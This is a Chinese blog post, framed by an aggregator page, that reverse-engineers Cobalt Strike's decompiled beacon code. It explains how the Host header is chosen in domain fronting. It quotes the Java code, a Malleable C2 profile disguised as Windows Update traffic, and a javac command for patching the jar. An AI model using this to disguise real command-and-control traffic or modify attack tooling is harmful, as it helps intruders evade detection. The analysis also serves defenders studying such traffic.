惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

S
SegmentFault 最新的问题
博客园 - 三生石上(FineUI控件)
WordPress大学
WordPress大学
博客园 - 【当耐特】
月光博客
月光博客
Vercel News
Vercel News
D
Docker
I
InfoQ
Apple Machine Learning Research
Apple Machine Learning Research
博客园 - 叶小钗
MongoDB | Blog
MongoDB | Blog
GbyAI
GbyAI
有赞技术团队
有赞技术团队
雷峰网
雷峰网
博客园 - 聂微东
小众软件
小众软件
Y
Y Combinator Blog
腾讯CDC
L
LangChain Blog
The GitHub Blog
The GitHub Blog
宝玉的分享
宝玉的分享
Stack Overflow Blog
Stack Overflow Blog
大猫的无限游戏
大猫的无限游戏
T
The Blog of Author Tim Ferriss

吹比💨

NFS 服务引发的一次“诡异”应急响应 银狐使用WDAC来对抗杀软 浏览器第三方Cookie保护导致无法使用Github.dev 使用pushState伪造浏览器地址栏 一次排查网站劫持过程流水账 手动导出 Microsoft Authenticator 中的2FA密钥 使用CloudFlare的IP Lists功能来做访问控制 FrontJS网站错误监控插件存在弹窗广告 宝塔面板可能存在未知漏洞的分析与处置方法 CDN厂商解决域前置问题 中文域名那些事 TLS握手指纹(JA3/JA3S)检测恶意软件流量 [A-Z]{2}\d{2}.cc 团伙的一些公开信息 Azure旗下奇怪的静态托管服务 Csrf与浏览器第三方Cookie策略的问题 Pppoe密码嗅探 Publicsuffix那些事 一次有意思的域名追踪 XFF那些事 CORB那些事 Referrer Policy那些事 使用CloudFlare来为网站开启客户端证书验证 DNS那些事 用flask来在线管理你的iptables 屏蔽掉向日葵的有效方法 帝国cms在防止内容采集方面做的工作 身份验证器是如何验证我们的身份? 利用GoogleAppsScript自动回复短信实现保号 Nginx实用模块 有关跨域请求的一些记录
CobaltStrike通信中host字段的获取
榆木 · 2021-01-05 · via 吹比💨

开始

域前置已经不是一个新鲜的话题。通信流程如下:

而其中最为关键的地方在于在client中使用自定义的Host字段。在CobaltStrike的相关页面中可以看到相关的配置方法。 https://www.cobaltstrike.com/help-http-beacon

在cs4.0后可以直接在新建监听器时直接指定HTTP Host Header。而在此之前想要指定client的host只能通过修改profile后进行重载。而这两种方式的优先级又是怎样?今天通过简单的逆向对这个疑惑进行了验证。

验证

直接拿到CS.jar进行解压,然后在idea中打开即可看到反编译出的代码,其中关键部分如下:(beacon\BeaconPayload.class)

String var17 = this.listener.getHostHeader();
    if (var17 != null && var17.length() != 0) {
        if (Profile.usesHostBeacon(this.c2profile)) {
            var16.addString(54, "", 128);
            CommonUtils.print_stat("Now `althost` is not null,but will use profile");
        } else {
            var16.addString(54, "Host: " + this.listener.getHostHeader() + "\r\n", 128);
            CommonUtils.print_stat("Now `althost` is not null, will use althost, this value is "+this.listener.getHostHeader());
        }
    } else {
        CommonUtils.print_stat("Now `althost` is null, will find `Host` in profile.(If specified)");
        var16.addString(54, "", 128);
}

public String getHostHeader() {
    return DialogUtils.string(this.options, "althost");
}

public static boolean usesHostBeacon(Profile paramProfile) {
    return (paramProfile.usesHost(".http-get.client.metadata") || paramProfile.usesHost(".http-post.client.id") || paramProfile.usesHost(".http-post.client.output"));
}


public boolean usesHost(String paramString) {
    Program program = getProgram(paramString);
    return (program != null && program.usesHost());
}

public Program getProgram(String paramString) {
    return (Program)this.data.get(paramString);
}
public boolean program.usesHost() {
    return this.host;
}

(为了方便理解,我做了一些修改与注释)

通过代码的阅读,我们可以看出,this.listener.getHostHeader() 是获取监听器中HTTP Host Header的方法。但是只有在 this.listener.getHostHeader()的结果不为空与Profile.usesHostBeacon(this.c2profile)的值不为真的情况下才会使用this.listener.getHostHeader() 的值。而 Profile.usesHostBeacon(this.c2profile) 的值取决于profile文件中,http-post.client.id、.http-post.client.output、.http-get.client.metadata中是否包含有host字段的相关操作(相关判断代码位于c2profile\Loader.class中 public int parse方法内,通过此方法最终使program.usesHost() 返回为True)。

例如 这个 https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/microsoftupdate_getonly.profile#L80

http-post {
    set uri "/c/msdownload/update/others/2016/12/3215234_";
    set verb "GET";
    client {
        header "Accept" "*/*";
        #session ID
        id {
            prepend "download.windowsupdate.com/c/";
            header "Host";  ## 此处作为关键判断
        }
        #Beacon's responses
        output {
            base64url;
            append ".cab";
            uri-append;
        }
    }

    server {
        header "Content-Type" "application/vnd.ms-cab-compressed";
        header "Server" "Microsoft-IIS/8.5";
        header "MSRegion" "N. America";
        header "Connection" "keep-alive";
        header "X-Powered-By" "ASP.NET";

        #empty
        output {
            print;
        }
    }
}

效果如下:

所以host字段的选取流程如下:

  1. 加载profile文件,将profile中的http header相关配置加载到变量中。此时如果有http-get \ http-post 下的client 中含有header "Host" "www.baidu.com"的话,通信过程中的host字段设置为此。

  2. 判断监听器中是否有指定了http host header字段

  3. 如果上步为真,进一步判断profile文件中http-post.client.id、.http-post.client.output、.http-get.client.metadata中是否包含有host字段

  4. 如果上步为真,则不改变加载profile中的相关配置【准确来说是添加一个空值,即var16.addString(54, “”, 128);】。

    如果为假 设定host字段为监听器中指定的http host header字段【var16.addString(54, “Host: " + this.listener.getHostHeader() + “\r\n”, 128);】,覆盖掉第一步中的Host配置。

另外一个值得注意的点。现在可以通过固定的算法进行未授权下载stage后并解密,其中有一项配置为 host 。如果单纯只使用profile文件来指定host的话,该配置项解密出的结果为空。

回编译

将需要修改的文件保存为 xxx.java ,xxx表示原始的文件名,该文件名不要做改动。然后使用javac进行编译时指定cs原始包作为依赖即可:

"C:\Program Files\Java\jdk1.7.0_80\bin\javac.exe" -cp .\cobaltstrike.jar ".\ServerUtils.java"

编译完成后得到.\ServerUtils.class,可以直接把cs.jar当作压缩包打开进行覆盖。